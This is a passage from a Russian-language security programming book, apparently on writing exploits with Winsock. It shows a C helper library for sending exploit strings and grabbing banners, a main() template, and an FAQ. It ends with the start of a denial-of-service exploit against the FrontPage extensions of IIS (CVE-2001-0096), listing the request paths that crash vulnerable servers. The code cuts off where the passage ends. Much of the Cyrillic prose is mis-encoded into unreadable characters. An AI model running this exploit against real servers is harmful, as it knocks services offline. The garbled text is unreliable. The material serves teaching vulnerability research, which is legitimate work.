
 91   }

 92 }

 93 char *replace_string(char *new_str, char *old_str, char *whole_str)

 94 {

 95   int len = strlen(old_str);

 96   char buffer[MAX] = "";

 97   char *loc = strstr(whole_str, old_str);

 98   if(loc != NULL)

 99   {

100     strncpy(buffer, whole_str, loc-whole_str );

101     strcat(buffer, new_str);

102     strcat(buffer, loc + (strlen(old_str)));

103     strcpy(whole_str, buffer);

104   }

Написание эксплойтов и программ для проверки наличия уязвимостей
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105   return whole_str;

106 }

107 char *send_exploit(char *targetip, int port, char *send_string)

108 {

109   WSADATA wsaData;

110   WORD wVersionRequested;

111   struct hostent target_ptr;

112   struct sockaddr_in sock;

113   SOCKET MySock;

114   wVersionRequested = MAKEWORD(2, 2);

115   if (WSAStartup(wVersionRequested, &wsaData) != 0)

116   {

117       printf("############ÎØÈÁÊÀ!####################\n");

118       printf("Âàøà âåðñèÿ ws2_32.dll ñëèøêîì ñòàðà.\n");

119       printf("Çàéäèòå íà ñàéò Microsoft è ñêà÷àéòå áîëåå ñâåæóþ\n");

120       printf("âåðñèþ ws2_32.dll.\n");

121       WSACleanup();

122       exit(1);

123   }

124   MySock = socket(AF_INET, SOCK_STREAM, 0);

125   if(MySock==INVALID_SOCKET)

126   {

127     printf("Îøèáêà ïðè ñîçäàíèè ñîêåòà!\r\n");

128
129     closesocket(MySock);

130     WSACleanup();

131     exit(1);

132   }

133   if ((pTarget = gethostbyname(targetip)) == NULL)

134   {

135     printf("\nÍå óäàëîñü ðàçðåøèòü èìÿ %s, ïîïðîáóéòå åùå ðàç.\n.\n",

               targetip);

136
137     closesocket(MySock);

138     WSACleanup();

139     exit(1);

140   }

141   memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);

142   sock.sin_family = AF_INET;

143   sock.sin_port = htons((USHORT)port);

144
145   if ( (connect(MySock, (struct sockaddr *)&sock, sizeof (sock) )))

146   {

147     printf("Íå óäàëîñü ñîåäèíèòüñÿ ñ õîñòîì.\n");

148
149     closesocket(MySock);

150     WSACleanup();

151     exit(1);

152   }
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153   char sendfile[STRING_MAX];

154   strcpy(sendfile, send_string);

155   if (send(MySock, sendfile, sizeof(sendfile)-1, 0) == -1)

156   {

157     printf("Îøèáêà ïðè îòïðàâêå ïàêåòà\r\n");

158     closesocket(MySock);

159     exit(1);

160   }

161
162   send(MySock, sendfile, sizeof(sendfile)-1, 0);

163   char *recvString = new char[MAX];

164   int nret;

165   nret = recv(MySock, recvString, MAX + 1, 0);

166   char *output= new char[nret];

167   strcpy(output, "");

168   if (nret == SOCKET_ERROR)

169   {

170     printf("Îøèáêà ïðè ïîïûòêå ïðèíÿòü äàííûå.\n");

171   }

172   else

173   {

174     strncat(output, recvString, nret);

175     delete [ ] recvString;

176   }

177   closesocket(MySock);

178   WSACleanup();

179   return (output);

180   delete [ ] output;

181 }

182 char *get_http(char *targetip, int port, char *file)

183 {

184   WSADATA wsaData;

185   WORD wVersionRequested;

186   struct hostent target_ptr;

187   struct sockaddr_in sock;

188   SOCKET MySock;

189
190   wVersionRequested = MAKEWORD(2, 2);

191   if (WSAStartup(wVersionRequested, &wsaData) < 0)

192   {

193     printf("############ÎØÈÁÊÀ!####################\n");

194     printf("Âàøà âåðñèÿ ws2_32.dll ñëèøêîì ñòàðà.\n");

195     printf("Çàéäèòå íà ñàéò Microsoft è ñêà÷àéòå áîëåå ñâåæóþ\n");

196     printf("âåðñèþ ws2_32.dll.\n");

197
198     WSACleanup();

199     exit(1);

200   }

201   MySock = socket(AF_INET, SOCK_STREAM, 0);
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202   if(MySock==INVALID_SOCKET)

203   {

204     printf("Îøèáêà ïðè ñîçäàíèè ñîêåòà!\r\n");

205
206     closesocket(MySock);

207     WSACleanup();

208     exit(1);

209   }

210   if ((pTarget = gethostbyname(targetip)) == NULL)

211   {

212     printf("\nÍå óäàëîñü ðàçðåøèòü èìÿ %s, ïîïðîáóéòå åùå ðàç.\n.\n",

               targetip);

213
214     closesocket(MySock);

215     WSACleanup();

216     exit(1);

217   }

218   memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);

219   sock.sin_family = AF_INET;

220   sock.sin_port = htons((USHORT)port);

221
222   if ( (connect(MySock, (struct sockaddr *)&sock, sizeof (sock) )))

223   {

224     printf("Íå óäàëîñü ñîåäèíèòüñÿ ñ õîñòîì.\n");

225
226     closesocket(MySock);

227     WSACleanup();

228     exit(1);

229   }

230   char sendfile[STRING_MAX];

231   strcpy(sendfile, "GET ");

232   strcat(sendfile, file);

233   strcat(sendfile, " HTTP/1.1 \r\n" );

234   strcat(sendfile, "Host: localhost\r\n\r\n");

235   if (send(MySock, sendfile, sizeof(sendfile)-1, 0) == -1)

236   {

237     printf("Error sending Packet\r\n");

238     closesocket(MySock);

239     WSACleanup();

240     exit(1);

241   }

242   send(MySock, sendfile, sizeof(sendfile)-1, 0);

243
244   char *recvString = new char[MAX];

245   int nret;

246   nret = recv(MySock, recvString, MAX + 1, 0);

247
248   char *output= new char[nret];

249   strcpy(output, "");
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250   if (nret == SOCKET_ERROR)

251   {

252     printf("Îøèáêà ïðè ïîïûòêå ïðèíÿòü äàííûå.\n");

253   }

254   else

255   {

256     strncat(output, recvString, nret);

257     delete [ ] recvString;

258   }

259   closesocket(MySock);

260   WSACleanup();

261
262   return (output);

263   delete [ ] output;

264 }

265 char *banner_grab(char *targetip, int port)

266 {

267   char start_banner[] = "Server:";

268   char end_banner[] = "\n";

269   int start = 0;

270   int end = 0;

271   char* ret_banner = new char[MAX];

272   char* buffer = get_http(targetip, port, "/");

273
274   int len = strlen(buffer);

275
276   char *pt = strstr(buffer, start_banner );

277
278   if( pt != NULL )

279   {

280     start = pt – buffer;

281     for(int x = start; x < len; x++)

282     {

283       if(_strnicmp( buffer + x, end_banner, 1 ) == 0)

284       {

285         end = x;

286         x = len;

287       }

288     }

289     strcpy(ret_banner, " ");

290     strncat (ret_banner, buffer + start – 1 , (end – start));

291   }

292   else

293   {

294     strcpy(ret_banner, "EOF");

295   }

296   return (ret_banner);

297   delete [ ] ret_banner;

298 }
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Анализ

� Â ñòðîêàõ 6–29 îïðåäåëåíà íåìàëîâàæíàÿ ôóíêöèÿ junk(). Åñëè âàì êîã-
äà-íèáóäü äîâîäèëîñü ïèñàòü ýêñïëîéòû, òî âû íàâåðíÿêà ñòàëêèâàëèñü
ñ íåîáõîäèìîñòüþ öèêëîâ, ïîðîæäàþùèõ äëèííóþ ñòðîêó, â êîòîðîé
ïîâòîðÿåòñÿ îäèí è òîò æå ñèìâîë èëè ñëó÷àéíûå ñèìâîëû. Junk() äåëà-
åò íå÷òî ïîäîáíîå. Îíà ïðèíèìàåò äâà àðãóìåíòà – ñòðîêó è ÷èñëî,
à âîçâðàùàåò äëèííóþ ñòðîêó, â êîòîðîé èñõîäíàÿ ïîâòîðåíà óêàçàííîå
÷èñëî ðàç. Õîòÿ ôóíêöèÿ ñîâñåì ïðîñòàÿ, íî ïîìîæåò ñýêîíîìèòü âðå-
ìÿ ïðè íàïèñàíèè êîäà ýêñïëîéòà, îñîáåííî åñëè åãî öåëüþ ÿâëÿåòñÿ
ïåðåïîëíåíèå áóôåðà èëè ýêñïëóàòàöèÿ îøèáêè ïðè ïðîñìîòðå ôàéëà.

� Â ñòðîêàõ 30–80 îïðåäåëÿåòñÿ åùå îäíà ïîëåçíàÿ ôóíêöèÿ – is_up().
Áûòü ìîæåò, ýòî ïðîñòåéøàÿ èç âñåõ ïðîãðàìì äëÿ ðàáîòû ñ ñîêåòàìè.
Îíà ïûòàåòñÿ ñîåäèíèòüñÿ ñ êîíêðåòíûì ïîðòîì íà óêàçàííîé ìàøèíå.
Åñëè connect() âîçâðàùàåò îøèáêó, çíà÷èò ïîðò çàêðûò è ôóíêöèÿ âîç-
âðàùàåò FALSE. Â ïðîòèâíîì ñëó÷àå ýòîò ïîðò ïðîñëóøèâàåò êàêîå-òî
ïðèëîæåíèå. Ïîòðåáíîñòü â òàêîé ôóíêöèè îñîáåííî ñèëüíà, åñëè
íóæíî îòïðàâèòü êîä ýêñïëîéòà â íåñêîëüêî ïîðòîâ èëè ðàçîñëàòü åãî
ïî ðàçíûì IP-àäðåñàì. Åñëè ïðåäâàðèòåëüíî óáåäèòüñÿ, ÷òî öåëåâîé
ïîðò îòêðûò, òî ïðîãðàììà áóäåò èñïîëíÿòüñÿ áûñòðåå è íå ñòàíåò çà-
íèìàòü ïîëîñó ïðîïóñêàíèÿ, ïûòàÿñü îòïðàâèòü êîä â íåîòâå÷àþùèå
ïîðòû. Ýòà ôóíêöèÿ ïîëåçíà òàêæå äëÿ òîãî, ÷òîáû ïðîâåðèòü, óäàëîñü
ëè âûâåñòè èç ñòðîÿ ñëóæáó ñ ïîìîùüþ DoS-àòàêè. Îäíàêî èìåéòå
â âèäó – òîò ôàêò, ÷òî ñ ïîðòîì óäàëîñü óñòàíîâèòü ñîåäèíåíèå, åùå íå
îçíà÷àåò, ÷òî ñëóæáà íà íåì ðàáîòàåò ïðàâèëüíî. Ñîåäèíåíèÿ ìîãóò
ïðèíèìàòüñÿ, íî â îáñëóæèâàíèè êëèåíòàì âñå ðàâíî áóäåò îòêàçàíî.

� Â ñòðîêàõ 81–92 îïðåäåëåíà ôóíêöèÿ is_string_in(). Îíà ïðèíèìàåò äâå
ñòðîêè è ïðîâåðÿåò, âõîäèò ëè ïåðâàÿ âî âòîðóþ. Ýòî áûâàåò ïîëåçíî,
êîãäà âû õîòèòå íàéòè êîíêðåòíûå ïîäñòðîêè â øàïêå, ïîëó÷åííîé îò
îïðàøèâàåìîé ñëóæáû.

� Â ñòðîêàõ 93–106 îïðåäåëåíà ôóíêöèÿ replace_string(). Åé ïåðåäàþòñÿ òðè
ñòðîêè: whole_string – ýòî ìîäèôèöèðóåìûé òåêñò, old_string – ñòðîêà,
êîòîðóþ âû õîòèòå â íåì íàéòè è çàìåíèòü, à new_string – ñòðîêà, íà êî-
òîðóþ íóæíî çàìåíèòü old_string.

� Â ñòðîêàõ 107–181 îïðåäåëåíà ôóíêöèÿ send_exploit(). Îíà, âåðîÿòíî, áó-
äåò âåñüìà ïîëåçíà äëÿ íåñëîæíûõ ýêñïëîéòîâ, â çàäà÷ó êîòîðûõ íå âõî-
äèò îòïðàâêà íåïðåðûâíîãî ïîòîêà çàïðîñîâ ïî îäíîìó è òîìó æå ñî-
åäèíåíèþ. send_exploit() ðåøàåò ïðîñòóþ çàäà÷ó: îòïðàâèòü ýêñïëîéò è
ïðîâåðèòü ïîëó÷åííûé âñëåä çà ýòèì îòâåò. Îíà ïðèíèìàåò òðè àðãó-
ìåíòà: ñòðîêó ñ IP-àäðåñîì, íîìåð ïîðòà è ñòðîêó, ñîäåðæàùóþ êîä ýêñ-
ïëîéòà.



223

� Â ñòðîêàõ 182–164 îïðåäåëåíà ôóíêöèÿ get_http(). Îíà ïðèíèìàåò IP-àä-
ðåñ, íîìåð ïîðòà è URL äîêóìåíòà, êîòîðûé âû õîòèòå ïîëó÷èòü îò
Web-ñåðâåðà.

� Â ñòðîêàõ 265–298 îïðåäåëåíà ôóíêöèÿ banner_grab(). Îíà ïðèíèìàåò
IP-àäðåñ è íîìåð ïîðòà. Â ïðåäïîëîæåíèè, ÷òî íà ýòîì ïîðòó ðàáîòàåò
Web-ñåðâåð, ôóíêöèÿ âåðíåò ïîëó÷åííóþ îò íåãî øàïêó.

È, íàêîíåö, ôóíêöèÿ main(). Ýòî ãëàâíàÿ òî÷êà âõîäà â ïðîãðàììó, êîòîðàÿ
äëÿ âñåõ ýêñïëîéòîâ è ñêàíåðîâ óÿçâèìîñòåé ïèøåòñÿ ïðèìåðíî ïî îäíîìó
øàáëîíó. Îíà íå âõîäèò â ôàéë hack.h, à ïîìåùåíà â îòäåëüíûé ôàéë empty.cpp.
Ôóíêöèÿ ïîëó÷àåò íà âõîäå àðãóìåíòû, çàäàííûå ïîëüçîâàòåëåì â êîìàíäíîé
ñòðîêå, â äàííîì ñëó÷àå IP-àäðåñ èëè äîìåííîå èìÿ è, âîçìîæíî, íîìåð ïîð-
òà. Â íåé ñîñðåäîòî÷åí êîä äëÿ àíàëèçà àðãóìåíòîâ è ïðè íåîáõîäèìîñòè ïå÷à-
òè ñîîáùåíèÿ î òîì, ÷òî îíè çàäàíû íåâåðíî. Èìåéòå â âèäó, ÷òî ñåìàíòèêà
ïàðàìåòðîâ ìîæåò èçìåíÿòüñÿ â çàâèñèìîñòè îò ïðèðîäû ýêñïëîéòà èëè ïðî-
âåðêè íàëè÷èÿ óÿçâèìîñòè.

Пример 4.6. Пример 4.6. Пример 4.6. Пример 4.6. Пример 4.6. Шаблон функции main
 1 #include <stdio.h>

 2 int main(int argc, char *argv[])
 3 {

 4   int port = 80;
 5   char *targetip;

 6
 7   if (argc < 2)

 8   {
 9     printf("XXXXXX usage:\r\n");

10     printf("    %s <TargetIP>\r\n", argv[0]);
11     return(0);

12    }
13    targetip = argv[1];
14
15   if (argc >= 3)

16   {
17     port = atoi(argv[2]);

18   }
19   // Ñàì ýêñïëîéò //////////////////////

20 }

Анализ

� Â ñòðîêå 3 îïðåäåëÿåòñÿ ïîðò 80, ïðèíèìàåìûé ïî óìîë÷àíèþ;
� Â ñòðîêàõ 7–11 ïå÷àòàåòñÿ ñîîáùåíèå î ïîðÿäêå çàïóñêà â ñëó÷àå, åñëè

â êîìàíäíîé ñòðîêå íå çàäàíû àðãóìåíòû;
� Â ñòðîêàõ 15–17 àíàëèçèðóåòñÿ, óêàçàë ëè ïîëüçîâàòåëü íîìåð ïîðòà. Åñëè

íåò, òî îñòàíåòñÿ â ñèëå íîìåð, ïðèíÿòûé ïî óìîë÷àíèþ, òî åñòü 80.
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Резюме
API WinSock 2 íàõîäèòñÿ â áèáëèîòåêå ws2_32.dll è ïðåäíàçíà÷åí äëÿ âçàèìî-
äåéñòâèÿ ñ èíòåðôåéñîì ñåðâèñ-ïðîâàéäåðà Winsock (SPI). Èìåííî íà óðîâíå
SPI ïðîèñõîäèò ðàáîòà ñ àïïàðàòóðîé. Ïðåëåñòü Winsock API â òîì, ÷òî ïðî-
ãðàììèñò ñîõðàíÿåò ïîëíûé êîíòðîëü íàä òåì, ÷òî îòïðàâëÿåòñÿ óñòðîéñòâó
è ÷òî ïðèíèìàåòñÿ îò íåãî, íå çíàÿ, êàêîâî ýòî óñòðîéñòâî íà ñàìîì äåëå.

Íåîáõîäèìàÿ ÷àñòü ëþáîé ïðîãðàììû äëÿ ðàáîòû ñ ñîêåòàìè – ýòî óñòà-
íîâëåíèå ñîåäèíåíèÿ ñ ïðîâåðêîé êîäîâ îøèáîê ïîñëå âûçîâà êàæäîé áèá-
ëèîòå÷íîé ôóíêöèè. Ñàìè îïåðàöèè îòïðàâêè è ïðèåìà äàííûõ íåñëîæíû.
Âî ìíîãèõ êðóïíûõ ïðîåêòàõ çíà÷èòåëüíàÿ äîëÿ ïðîãðàììû ïîñâÿùåíà îá-
ðàáîòêå îøèáîê, äàáû îíè íå ïðèâåëè ê ôàòàëüíîìó ñáîþ. Åñëè â ïðèìåðå
4.4 âû ïðèñâîèòå êîíñòàíòàì MAX è STRING_MAX íåáîëüøèå çíà÷åíèÿ
(ñêàæåì, 10), à çàòåì ïîïûòàåòåñü îòïðàâèòü äëèííîå ñîîáùåíèå, òî óâèäèòå,
êàê ëåãêî ïîëó÷èòü ïåðåïîëíåíèå áóôåðà.

Ïåðåïîëíåíèÿ, êîòîðûå âîçíèêàþò íå÷àñòî, ìîãóò ïîêàçàòüñÿ ìåëêîé íå-
ïðèÿòíîñòüþ, äàæå åñëè îíè è ïðèâîäÿò ê êðàõó ïðîãðàììû. Íî èìåííî îíè
îêàçûâàþòñÿ èñòî÷íèêîì óÿçâèìîñòåé ñåðâåðà, ïðîòèâ êîòîðûõ è íàïðàâëå-
íû ýêñïëîéòû. Winsock API – âåëèêîëåïíûé èíñòðóìåíò äëÿ íàïèñàíèÿ ýêñï-
ëîéòîâ è ïðîãðàìì äëÿ ïðîâåðêè íàëè÷èÿ óÿçâèìîñòåé. Èçó÷àÿ òåêñòû ýêñï-
ëîéòîâ, èìåþùèåñÿ â ñåòè, âû îáíàðóæèòå, ÷òî âî ìíîãèõ èñïîëüçóåòñÿ
Winsock 2. Ïðîãðàììû æå, íàïèñàííûå äëÿ UNIX è Linux, ìîãóò áûòü ñðàâíè-
òåëüíî ëåãêî ïåðåíåñåíû íà ïëàòôîðìó Winsock 2.

Обзор изложенного материала
Ñïåöèôèêàöèÿ WinsockÑïåöèôèêàöèÿ WinsockÑïåöèôèêàöèÿ WinsockÑïåöèôèêàöèÿ WinsockÑïåöèôèêàöèÿ Winsock

� Ñïåöèôèêàöèÿ è ïåðâàÿ âåðñèÿ Winsock áûëè âûïóùåíû â ÿíâàðå
1993 ãîäà. Òîãäà ðåàëèçàöèÿ ñîñòîÿëà èç äâóõ DLL.

� Äëÿ 16-ðàçðÿäíûõ ïðèëîæåíèé áûëà ïðåäíàçíà÷åíà áèáëèîòåêà winsock.dll,
à äëÿ 32-ðàçðÿäíûõ – áèáëèîòåêà wssock32.dll

Ñïåöèôèêàöèÿ Winsock 2.0Ñïåöèôèêàöèÿ Winsock 2.0Ñïåöèôèêàöèÿ Winsock 2.0Ñïåöèôèêàöèÿ Winsock 2.0Ñïåöèôèêàöèÿ Winsock 2.0
� Îäíî èç îñíîâíûõ îãðàíè÷åíèé ïåðâîé âåðñèè Winsock ñîñòîÿëî â òîì,

÷òî îíà áûëà ïðåäíàçíà÷åíà òîëüêî äëÿ ñåìåéñòâà ïðîòîêîëîâ TCP/IP.
Winsock 2 ìîæåò ðàáîòàòü è ñî ìíîãèìè äðóãèìè ïðîòîêîëàìè.

� Ïîëó÷èòü äîñòóï ê áèáëèîòåêå Winsock ìîæíî äâóìÿ ñïîñîáàìè: ëè-
áî ñêîìïîíîâàòü åå ñî ñâîåé ïðîãðàììîé, óêàçàâ â ïàðàìåòðàõ ïðîåê-
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òà, ëèáî âñòàâèâ äèðåêòèâû #pragma íåïîñðåäñòâåííî â èñõîäíûé
òåêñò ñâîåé ïðîãðàììû.

Ïðîãðàììèðîâàíèå êëèåíòñêèõ ïðèëîæåíèéÏðîãðàììèðîâàíèå êëèåíòñêèõ ïðèëîæåíèéÏðîãðàììèðîâàíèå êëèåíòñêèõ ïðèëîæåíèéÏðîãðàììèðîâàíèå êëèåíòñêèõ ïðèëîæåíèéÏðîãðàììèðîâàíèå êëèåíòñêèõ ïðèëîæåíèé
� Áîëüøèíñòâî ýêñïëîéòîâ è ñêàíåðîâ óÿçâèìîñòåé îñíîâàíî íà òåõíî-

ëîãèè êëèåíò–ñåðâåð. Êëèåíò ñîåäèíÿåòñÿ ñ óäàëåííîé ñèñòåìîé, îò-
ïðàâëÿåò åé çàïðîñû è ÷èòàåò îòâåòû.

� Â îáùåì ñëó÷àå ôóíäàìåíòàëüíàÿ ðàçíèöà ìåæäó êëèåíòîì è ñåðâåðîì
ñîñòîèò â òîì, êòî èíèöèèðóåò ñîåäèíåíèå. Êàê ïðàâèëî, êëèåíò íà÷è-
íàåò ñåàíñ ñâÿçè, à ñåðâåð îòâå÷àåò íà çàïðîñû.

Ïðîãðàììèðîâàíèå ñåðâåðíûõ ïðèëîæåíèéÏðîãðàììèðîâàíèå ñåðâåðíûõ ïðèëîæåíèéÏðîãðàììèðîâàíèå ñåðâåðíûõ ïðèëîæåíèéÏðîãðàììèðîâàíèå ñåðâåðíûõ ïðèëîæåíèéÏðîãðàììèðîâàíèå ñåðâåðíûõ ïðèëîæåíèé
� Ñåðâåðíûå ïðèëîæåíèÿ, íàïèñàííûå ñ ïðèìåíåíèåì Winsock, ìàëî

÷åì îòëè÷àþòñÿ îò êëèåíòñêèõ. Òå è äðóãèå îòïðàâëÿþò è ïðèíèìàþò
äàííûå. Ðàçíèöà òîëüêî â òîì, êòî ÿâëÿåòñÿ èíèöèàòîðîì ñîåäèíåíèÿ.
Ïî ñâîåé ïðèðîäå ñåðâåð ïàññèâåí, îí æäåò ïîñòóïëåíèÿ î÷åðåäíîãî
çàïðîñà îò êëèåíòà, à çàòåì îáñëóæèâàåò åãî.

Íàïèñàíèå ýêñïëîéòîâ è ïðîãðàììÍàïèñàíèå ýêñïëîéòîâ è ïðîãðàììÍàïèñàíèå ýêñïëîéòîâ è ïðîãðàììÍàïèñàíèå ýêñïëîéòîâ è ïðîãðàììÍàïèñàíèå ýêñïëîéòîâ è ïðîãðàìì
äëÿ ïðîâåðêè íàëè÷èÿ óÿçâèìîñòåéäëÿ ïðîâåðêè íàëè÷èÿ óÿçâèìîñòåéäëÿ ïðîâåðêè íàëè÷èÿ óÿçâèìîñòåéäëÿ ïðîâåðêè íàëè÷èÿ óÿçâèìîñòåéäëÿ ïðîâåðêè íàëè÷èÿ óÿçâèìîñòåé

� Íàïèñàííûé íàìè ôàéë hack.h ìîæíî ñ óñïåõîì èñïîëüçîâàòü íå òîëü-
êî â ïðèìåðàõ èç ýòîé êíèãè, íî è ïðàêòè÷åñêè â ëþáîì ïðèëîæåíèè,
èìåþùåì îòíîøåíèå ê èíôîðìàöèîííîé áåçîïàñíîñòè, ïîñêîëüêó îí
óïðîùàåò êîäèðîâàíèå ñòàíäàðòíûõ ïðîöåäóð, ÷àñòî âñòðå÷àþùèõñÿ
â ýêñïëîéòàõ è äðóãèõ ïîäîáíûõ ïðîãðàììàõ.

Ссылки на сайты
� www.appl icationdefense.com. Íà ñàéòå  Appl ication Defense èìååòñÿ áîëü-

øàÿ ïîäáîðêà áåñïëàòíûõ èíñòðóìåíòîâ ïî îáåñïå÷åíèþ áåçîïàñíîñòè
â äîïîëíåíèå ê ïðîãðàììàì, ïðåäñòàâëåííûì â ýòîé êíèãå.

� www.sockets.com. Âåëèêîëåïíûé ðåñóðñ äëÿ âñåõ èíòåðåñóþùèõñÿ ïðî-
ãðàììèðîâàíèåì ñîêåòîâ íà ïëàòôîðìå Microsoft Windows.

� http://www.sockets.com/winsock2.htm. Ðàçäåë ñàéòà www.sockets.com, â êî-
òîðîì ïðåäñòàâëåíà èíôîðìàöèÿ î ñàìîé ñïåöèôèêàöèè Winsock 2.0.

� http://www.faqs.org/faqs/windows/winsock-faq. Õîòÿ íåêîòîðûå èç âî-
ïðîñîâ, îñâåùåííûõ íà ýòîì ñàéòå, óæå óñòàðåëè, íî âñå ðàâíî òàì
ìíîãî èíôîðìàöèè, ïîëåçíîé äëÿ íà÷èíàþùèõ è íå ñëèøêîì îïûò-
íûõ ïðîãðàììèñòîâ.

Ссылки на сайты
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� http://www.cerberus-sys.com/~belleisl/mtu_mss_rwin.html. Åùå îäèí ïî-
ëåçíûé ðåñóðñ î ïðîãðàììèðîâàíèè ñ èñïîëüçîâàíèåì Winsock.

Часто задаваемые вопросы
Ñëåäóþùèå ÷àñòî çàäàâàåìûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëîæåí-
íûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õîòèòå
çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions è çà-
ïîëíèòå ôîðìó Ask the AuthorAsk the AuthorAsk the AuthorAsk the AuthorAsk the Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì äðó-
ãèõ FAQîâ íà ñàéòå ITFAQnet.com.

Â:Â:Â:Â:Â: Ïî÷åìó ñëåäóåò èñïîëüçîâàòü Winsock äëÿ ïðîãðàììèðîâàíèÿ BSD-ñî-
êåòîâ? 

Î:Î:Î:Î:Î: Winsock – ýòî API äëÿ ñåòåâîãî ïðîãðàììèðîâàíèÿ, ðàçðàáîòàííûé
êîìïàíèåé Microsoft è ïðèìåíÿåìûé âî âñåõ ñîâðåìåííûõ è íåêîòîðûõ ñòà-
ðûõ âåðñèÿõ Windows. Winsock áàçèðóåòñÿ íà ìåõàíèçìå BSD-ñîêåòîâ è ñîñòî-
èò ïî÷òè èç òîãî æå íàáîðà ôóíêöèé, ñ íåáîëüøèìè îòëè÷èÿìè. Winsock
ìîæíî íåïîñðåäñòâåííî èñïîëüçîâàòü â ïðîåêòàõ, ñîçäàâàåìûõ â Microsoft
Visual Studio C++, – îäíîãî èç ñàìûõ ïîïóëÿðíûõ êîìïèëÿòîðîâ äëÿ Windows.

Â:Â:Â:Â:Â: Åñòü ëè èíñòðóìåíòû äëÿ îòëàäêè ñåòåâûõ ïðîãðàìì? 
Î:Î:Î:Î:Î: Äà. Äëÿ ýòîãî ïðèìåíÿþòñÿ óòèëèòû äëÿ àíàëèçà ñåòåâîãî òðàôèêà.

Íàèëó÷øèì èíñòðóìåíòîì äëÿ îïðîñà ñåðâåðà ÿâëÿåòñÿ áåñïëàòíàÿ ïðîãðàììà
netcat ñ îòêðûòûìè èñõîäíûìè òåêñòàìè. Îíà ìîæåò âûñòóïàòü â ðîëè òåñòî-
âîãî êëèåíòà. Netcat ïîçâîëÿåò óñòàíîâèòü ñîåäèíåíèå ñ ñåðâåðîì è ïîñëàòü
åìó çàäàííóþ ïîëüçîâàòåëåì ñòðîêó. Ìîæåò netcat ñëóæèòü è òåñòîâûì ñåðâå-
ðîì. (http://www.atstake.com/research/tools/network_util ities).

Â: Â: Â: Â: Â: Ïîëåçíû ëè àíàëèçàòîðû ñåòåâûõ ïðîòîêîëîâ (ñíèôåðû) äëÿ ðàçðàáîò-
÷èêà?

Î:Î:Î:Î:Î: Äà. Òàêèå àíàëèçàòîðû ÷àñòî ïðèìåíÿþòñÿ äëÿ îòëàäêè ñåòåâûõ ïðèëî-
æåíèé. Ïðèìåðîì ìîæåò ñëóæèòü àíàëèçàòîð Ethereal, êîòîðûé ìîæíî çàãðó-
çèòü áåñïëàòíî. Ñíèôåð – ýòî íåîöåíèìûé èíñòðóìåíò, ñ ïîìîùüþ êîòîðî-
ãî ìîæíî èññëåäîâàòü ïàêåòû, êîòîðûìè îáìåíèâàþòñÿ êëèåíò è ñåðâåð.
Ïàêåòû ñîäåðæàò ãîðàçäî áîëüøå èíôîðìàöèè, ÷åì ïðåäñòàâëÿåòñÿ íà ïåð-
âûé âçãëÿä. Èíîãäà ëèøíèå ñèìâîëû èëè íåïðàâèëüíûå íàñòðîéêè ìîãóò íà-
ðóøèòü ñâÿçü ìåæäó äâóìÿ ñåòåâûìè ïðîãðàììàìè, è ïðè÷èíó ìîæíî îáíà-
ðóæèòü, èçó÷èâ òðàôèê â êàíàëå. Êðîìå òîãî, ïàêåò, êîòîðûé áûë íàìåðåííî
ñêîíñòðóèðîâàí íåêîððåêòíî, ìîæåò ñòàòü ïðè÷èíîé DoS-àòàêè èëè äàæå ïå-
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ðåïîëíåíèÿ áóôåðà, à ýòî óæå óãðîçà áåçîïàñíîñòè. Ïîñêîëüêó îøèáêà â ïðî-
ãðàììå ìîæåò ïðèâåñòè ê êðàõó, íå äàâ åé íîðìàëüíî çàâåðøèòüñÿ è ÷òî-òî
ñîîáùèòü î ïðè÷èíàõ, òî òàêèå ñîáûòèÿ ìîæíî íàáëþäàòü èñêëþ÷èòåëüíî
ñ ïîìîùüþ àíàëèçàòîðà ïðîòîêîëîâ èëè äðóãîãî ïîäîáíîãî ïðèëîæåíèÿ
(http://www.ethereal.com/download.html).

Пример: применение Winsock

для реализации атаки на Web3сервер

Â ýòîì ïðèìåðå ìû ïîêàæåì ïðîãðàììó, ïðèâîäÿùóþ ê îòêàçó îò îáñëóæè-
âàíèÿ (DoS – Denial of Service). Îíà íàïðàâëåíà ïðîòèâ óÿçâèìîñòè, èìåþùåé-
ñÿ â ïðîäóêòå Front Page Service Extensions (FPSE), êîòîðûé ïî óìîë÷àíèþ óñ-
òàíàâëèâàåòñÿ âìåñòå ñ Web-ñåðâåðàìè IIS 4.0 è IIS 5.0. Åñëè ñîäåðæàùèé
îøèáêó êîìïîíåíò FPSE ïîëó÷àåò ñïåöèàëüíî ïîäãîòîâëåííûé ïàêåò, òî îí
«ïàäàåò», óâëåêàÿ çà ñîáîé âåñü ñåðâåð.

Íåêîððåêòíûé êîìïîíåíò èìååò îáîçíà÷åíèå «CVE-2001-0096». Microsoft
âûïóñòèëà ïàò÷, çàêðûâàþùèé ýòó «äûðó», òàê ÷òî íå âñå ñåðâåðû IIS 4.0 è IIS
5.0 óÿçâèìû äëÿ ïðèâåäåííîãî íèæå ýêñïëîéòà. Òå æå, ÷òî óÿçâèìû, âûõîäÿò
èç ñòðîÿ ïðè ïîëó÷åíèè çàïðîñà íà ñëåäóþùèå ôàéëû:

"/_vti_bin/shtml.exe/com1.htm"
"/_vti_bin/shtml.exe/com2.htm"
"/_vti_bin/shtml.exe/prn.htm"
"/_vti_bin/shtml.exe/aux.htm"

Ýêñïëîéò èç ïðèìåðà 4.7 çàïðàøèâàåò ýòè ôàéëû â íàäåæäå âûçâàòü êðàõ
ñåðâåðà.

Пример 4.7. Пример 4.7. Пример 4.7. Пример 4.7. Пример 4.7. Атака на FrontPage, вызывающая отказ от обслуживания
 1 #include <stdio.h>

 2 #include "hack.h"

 3
 4 int main(int argc, char *argv[])

 5 {

 6   int port[] = {80, 81, 443, 7000, 8000, 8001, 8080, 8888};

 7   char *targetip;

 8
 9   if (argc < 2)

10   {

11     printf("frontpageDos.exe usage:\r\n");

12     printf("    %s <TargetIP>\r\n", argv[0]);

13     return(0);

14    }
15

Часто задаваемые вопросы
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16    targetip = argv[1];
17
18   char send1[] = "/_vti_bin/shtml.exe/com1.htm";

19   char send2[] = "/_vti_bin/shtml.exe/com2.htm";

